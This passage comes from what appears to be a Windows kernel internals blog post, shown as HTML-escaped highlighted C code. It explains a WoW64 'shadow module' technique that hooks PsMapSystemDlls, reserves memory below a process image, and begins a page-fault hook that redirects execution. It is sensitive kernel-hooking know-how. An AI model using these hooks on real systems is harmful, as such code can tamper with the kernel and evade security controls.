&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;106&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;__swapgs&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;107&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;108&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;FALSE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;109&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we have the second problem: &lt;code&gt;CALL 0x333333&lt;/code&gt;. The problem with this one is that this is a perfectly valid operation no matter what we do as it technically is within CS boundaries (as module base != 0x0), just not shadow module boundaries; so the processor won&amp;rsquo;t help us here.&lt;/p&gt;
&lt;p&gt;To solve this problem we can simply reserve the virtual memory below the lower boundary of the module, before the DLLs required by the target is loaded, by hooking &lt;strong&gt;PsMapSystemDlls&lt;/strong&gt; like so:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;NTSTATUS&lt;/span&gt; &lt;span class="n"&gt;NTAPI&lt;/span&gt; &lt;span class="nf"&gt;HkPsMapSystemDlls&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;PEPROCESS&lt;/span&gt; &lt;span class="n"&gt;Process&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BOOLEAN&lt;/span&gt; &lt;span class="n"&gt;UseLargePages&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;USING_SYMBOL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ZwAllocateVirtualMemory&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;fnNtAllocateVirtualMemory&lt;/span&gt; &lt;span class="n"&gt;ZwAllocateVirtualMemory&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;GET_SYMBOL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ZwAllocateVirtualMemory&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;KAPC_STATE&lt;/span&gt; &lt;span class="n"&gt;Apc&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;KeStackAttachProcess&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Process&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Apc&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;MEMORY_BASIC_INFORMATION&lt;/span&gt; &lt;span class="n"&gt;Mbi&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;NTSTATUS&lt;/span&gt; &lt;span class="n"&gt;Status&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;VvQueryVirtualMemory&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;NtCurrentProcess&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;PUCHAR&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;Mbi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;BaseAddress&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;Mbi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RegionSize&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;MemoryBasicInformation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Mbi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Mbi&lt;/span&gt; &lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Status&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;struct&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;UNICODE_STRING&lt;/span&gt; &lt;span class="n"&gt;Str&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;wchar_t&lt;/span&gt; &lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt; &lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;RtlZeroMemory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Buffer&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;VvQueryVirtualMemory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;NtCurrentProcess&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;Mbi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;BaseAddress&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2ull&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Buffer&lt;/span&gt; &lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;0ull&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;wcsstr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&amp;lt;process name for simplicity&amp;gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;Log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;&amp;lt;process name&amp;gt; found @ %llx [0x%x bytes] (%ls)&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Mbi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;BaseAddress&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Mbi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RegionSize&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;Log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;Wasting %d MB...!&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;Mbi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;BaseAddress&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;PUCHAR&lt;/span&gt; &lt;span class="n"&gt;Page&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x10000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;Page&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PUCHAR&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;Mbi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;BaseAddress&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mh"&gt;0x20000&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="n"&gt;Page&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mh"&gt;0x1000&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PVOID&lt;/span&gt; &lt;span class="n"&gt;Base&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Page&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;46&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;SIZE_T&lt;/span&gt; &lt;span class="n"&gt;Size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;Mbi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;BaseAddress&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;Page&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mh"&gt;0x20000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;47&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;ZwAllocateVirtualMemory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;NtCurrentProcess&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Base&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0ull&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;MEM_COMMIT&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;MEM_RESERVE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PAGE_READWRITE&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;48&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;49&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;Log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;Allocated %llx -&amp;gt; %llx&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Page&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Page&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;Size&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;50&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;51&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;52&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;53&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;54&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;55&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;56&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;57&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;58&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;59&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;60&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;KeUnstackDetachProcess&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Apc&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;61&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;62&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;fnPsMapSystemDlls&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;PsMapSystemDllsHook&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;OriginalBytes&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Process&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;UseLargePages&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;63&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;EPROCESS is barely set-up at this stage and we cannot open a handle to the process so we have to use KeStackAttachProcess and NtCurrentProcess(). Simply search for the process base using NtQueryVirtualMemory &amp;amp; MemorySectionName, then try allocating the memory below it.&lt;/p&gt;
&lt;p&gt;And voila, problem solved! Although this may sound like we will be wasting a lot of memory, I haven&amp;rsquo;t seen Windows mapping a 32-bit process above the 30 MB mark.&lt;/p&gt;
&lt;p&gt;Now that we have our shadow module set, the only thing left is to redirect the control flow to our shadow module when needed, which we can achieve by setting the xd flag on the original page (or calling NtProtectVirtualMemory and spoofing the protection from NtQueryVirtualMemory). We will need to handle paged out memory (on execution) by ourselves, but apart from that our page fault hook will be relatively simple:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;BOOLEAN&lt;/span&gt; &lt;span class="n"&gt;NTAPI&lt;/span&gt; &lt;span class="nf"&gt;HkOnPageFault&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ITRAP_FRAME&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;FaultyPtr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;__readcr2&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Cs&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;WOW64_SEG&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// Wow64 NX
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
